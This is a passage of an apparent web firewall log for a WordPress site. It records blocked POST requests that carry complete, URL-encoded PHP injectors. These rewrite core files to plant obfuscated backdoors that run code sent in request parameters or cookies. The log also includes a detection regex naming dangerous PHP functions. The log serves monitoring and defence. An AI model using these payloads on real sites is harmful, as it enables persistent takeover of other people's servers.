bject%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4542\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIKLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nUv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:54","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:4565\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:40:57","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4542\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nJQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:00","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522eve